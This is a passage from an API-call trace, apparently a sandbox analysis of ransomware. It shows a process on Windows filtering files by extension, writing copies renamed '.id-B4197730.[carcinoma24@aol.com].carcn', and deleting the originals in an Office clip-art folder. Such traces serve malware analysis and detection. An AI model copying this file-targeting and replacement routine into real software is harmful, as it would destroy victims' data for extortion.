[0310.435] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.435] lstrlenW (lpString=".rar") returned 4 [0310.435] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.435] lstrlenW (lpString=".bz2") returned 4 [0310.435] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.435] lstrlenW (lpString=".7z") returned 3 [0310.435] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0310.435] lstrlenW (lpString=".dbf") returned 4 [0310.435] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0310.435] lstrlenW (lpString=".1cd") returned 4 [0310.435] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0310.435] lstrlenW (lpString=".jpg") returned 4 [0310.435] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.448] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.448] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0310.451] GetLastError () returned 0x0 [0310.451] ReadFile (in: hFile=0x324, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x2fac, lpOverlapped=0x0) returned 1 [0310.453] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x2fb0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x2fb0, lpOverlapped=0x0) returned 1 [0310.454] ReadFile (in: hFile=0x324, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0310.454] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0310.454] SetEndOfFile (hFile=0x37c) returned 1 [0310.454] CloseHandle (hObject=0x37c) returned 1 [0310.455] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.455] SetEndOfFile (hFile=0x324) returned 1 [0310.456] CloseHandle (hObject=0x324) returned 1 [0310.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.456] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf")) returned 1 [0310.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0310.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0310.457] lstrlenW (lpString=".doc") returned 4 [0310.457] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.457] lstrlenW (lpString=".docx") returned 5 [0310.457] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0310.457] lstrlenW (lpString=".pdf") returned 4 [0310.457] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.457] lstrlenW (lpString=".xls") returned 4 [0310.457] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.457] lstrlenW (lpString=".xlsx") returned 5 [0310.457] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0310.457] lstrlenW (lpString=".ppt") returned 4 [0310.457] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0310.457] lstrlenW (lpString=".zip") returned 4 [0310.457] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.457] lstrlenW (lpString=".rar") returned 4 [0310.457] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.457] lstrlenW (lpString=".bz2") returned 4 [0310.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.457] lstrlenW (lpString=".7z") returned 3 [0310.458] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0310.458] lstrlenW (lpString=".dbf") returned 4 [0310.458] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0310.458] lstrlenW (lpString=".1cd") returned 4 [0310.458] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0310.458] lstrlenW (lpString=".jpg") returned 4 [0310.458] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0310.459] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.459] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0310.460] GetLastError () returned 0x0 [0310.460] ReadFile (in: hFile=0x324, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1f0c, lpOverlapped=0x0) returned 1 [0310.470] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1f10, lpOverlapped=0x0) returned 1 [0310.471] ReadFile (in: hFile=0x324, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0310.471] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0310.472] SetEndOfFile (hFile=0x37c) returned 1 [0310.472] CloseHandle (hObject=0x37c) returned 1 [0310.472] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0310.472] SetEndOfFile (hFile=0x324) returned 1 [0310.473] CloseHandle (hObject=0x324) returned 1 [0310.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0310.473] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf")) returned 1 [0310.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0310.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0310.474] lstrlenW (lpString=".doc") returned 4 [0310.773] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0310.773] lstrlenW (lpString=".docx") returned 5 [0310.773] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0310.773] lstrlenW (lpString=".pdf") returned 4 [0310.773] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0310.773] lstrlenW (lpString=".xls") returned 4 [0310.773] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0310.773] lstrlenW (lpString=".xlsx") returned 5 [0310.773] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0310.773] lstrlenW (lpString=".ppt") returned 4 [0310.773] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0310.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0310.773] lstrlenW (lpString=".zip") returned 4 [0310.773] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0310.773] lstrlenW (lpString=".rar") returned 4 [0310.774] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0310.774] lstrlenW (lpString=".bz2") returned 4 [0310.774] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0310.774] lstrlenW (lpString=".7z") returned 3 [0310.774] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0310.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0310.774] lstrlenW (lpString=".dbf") returned 4 [0310.774] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0310.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0310.774] lstrlenW (lpString=".1cd") returned 4 [0310.774] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0310.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68 [0310.774] lstrlenW (lpString=".jpg") returned 4 [0310.774] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0311.168] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0311.168] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0311.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0311.169] GetLastError () returned 0x0 [0311.169] ReadFile (in: hFile=0x384, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x1ba0, lpOverlapped=0x0) returned 1 [0311.171] WriteFile (in: hFile=0x398, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1bb0, lpOverlapped=0x0) returned 1 [0311.172] ReadFile (in: hFile=0x384, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0311.173] WriteFile (in: hFile=0x398, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0311.173] SetEndOfFile (hFile=0x398) returned 1 [0311.173] CloseHandle (hObject=0x398) returned 1 [0311.173] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0311.173] SetEndOfFile (hFile=0x384) returned 1 [0311.174] CloseHandle (hObject=0x384) returned 1 [0311.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0311.174] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf")) returned 1 [0311.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0311.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0311.175] lstrlenW (lpString=".doc") returned 4 [0311.175] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0311.175] lstrlenW (lpString=".docx") returned 5 [0311.175] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0311.176] lstrlenW (lpString=".pdf") returned 4 [0311.176] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0311.176] lstrlenW (lpString=".xls") returned 4 [0311.176] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0311.176] lstrlenW (lpString=".xlsx") returned 5 [0311.176] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0311.176] lstrlenW (lpString=".ppt") returned 4 [0311.176] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0311.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0311.176] lstrlenW (lpString=".zip") returned 4 [0311.176] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0311.176] lstrlenW (lpString=".rar") returned 4 [0311.176] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0311.176] lstrlenW (lpString=".bz2") returned 4 [0311.176] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0311.176] lstrlenW (lpString=".7z") returned 3 [0311.176] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0311.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0311.176] lstrlenW (lpString=".dbf") returned 4 [0311.176] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0311.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0311.176] lstrlenW (lpString=".1cd") returned 4 [0311.176] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0311.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0311.176] lstrlenW (lpString=".jpg") returned 4 [0311.176] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0311.177] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0311.177] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0311.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0311.179] GetLastError () returned 0x0 [0311.179] ReadFile (in: hFile=0x384, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x12b4, lpOverlapped=0x0) returned 1 [0311.189] WriteFile (in: hFile=0x398, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x12c0, lpOverlapped=0x0) returned 1 [0311.190] ReadFile (in: hFile=0x384, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0311.190] WriteFile (in: hFile=0x398, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0311.190] SetEndOfFile (hFile=0x398) returned 1 [0311.190] CloseHandle (hObject=0x398) returned 1 [0311.191] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0311.191] SetEndOfFile (hFile=0x384) returned 1 [0311.192] CloseHandle (hObject=0x384) returned 1 [0311.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0311.192] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107746.wmf")) returned 1 [0311.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0311.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0311.193] lstrlenW (lpString=".doc") returned 4 [0311.193] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0311.193] lstrlenW (lpString=".docx") returned 5 [0311.193] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0311.193] lstrlenW (lpString=".pdf") returned 4 [0311.193] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0311.193] lstrlenW (lpString=".xls") returned 4 [0311.193] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0311.193] lstrlenW (lpString=".xlsx") returned 5 [0311.193] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0311.193] lstrlenW (lpString=".ppt") returned 4 [0311.193] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0311.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0311.193] lstrlenW (lpString=".zip") returned 4 [0311.193] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0311.193] lstrlenW (lpString=".rar") returned 4 [0311.193] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0311.193] lstrlenW (lpString=".bz2") returned 4 [0311.193] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0311.193] lstrlenW (lpString=".7z") returned 3 [0311.193] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0311.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0311.194] lstrlenW (lpString=".dbf") returned 4 [0311.194] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0311.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0311.194] lstrlenW (lpString=".1cd") returned 4 [0311.194] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0311.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107746.WMF") returned 68 [0311.194] lstrlenW (lpString=".jpg") returned 4 [0311.194] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0311.203] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0311.204] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0311.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0311.207] GetLastError () returned 0x0 [0311.207] ReadFile (in: hFile=0x324, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x126c, lpOverlapped=0x0) returned 1 [0311.217] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x1270, lpOverlapped=0x0) returned 1 [0311.220] ReadFile (in: hFile=0x324, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0311.220] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0311.220] SetEndOfFile (hFile=0x37c) returned 1 [0311.220] CloseHandle (hObject=0x37c) returned 1 [0311.220] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0311.220] SetEndOfFile (hFile=0x324) returned 1 [0311.221] CloseHandle (hObject=0x324) returned 1 [0311.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0311.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107750.wmf")) returned 1 [0311.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0311.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0311.222] lstrlenW (lpString=".doc") returned 4 [0311.222] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0311.222] lstrlenW (lpString=".docx") returned 5 [0311.222] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0311.222] lstrlenW (lpString=".pdf") returned 4 [0311.222] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0311.222] lstrlenW (lpString=".xls") returned 4 [0311.222] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0311.222] lstrlenW (lpString=".xlsx") returned 5 [0311.222] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0311.222] lstrlenW (lpString=".ppt") returned 4 [0311.222] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0311.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0311.223] lstrlenW (lpString=".zip") returned 4 [0311.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0311.223] lstrlenW (lpString=".rar") returned 4 [0311.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0311.223] lstrlenW (lpString=".bz2") returned 4 [0311.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0311.223] lstrlenW (lpString=".7z") returned 3 [0311.223] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0311.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0311.223] lstrlenW (lpString=".dbf") returned 4 [0311.223] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0311.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0311.223] lstrlenW (lpString=".1cd") returned 4 [0311.223] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0311.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107750.WMF") returned 68 [0311.223] lstrlenW (lpString=".jpg") returned 4 [0311.223] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0311.224] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0311.224] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0311.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0311.225] GetLastError () returned 0x0 [0311.225] ReadFile (in: hFile=0x324, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: 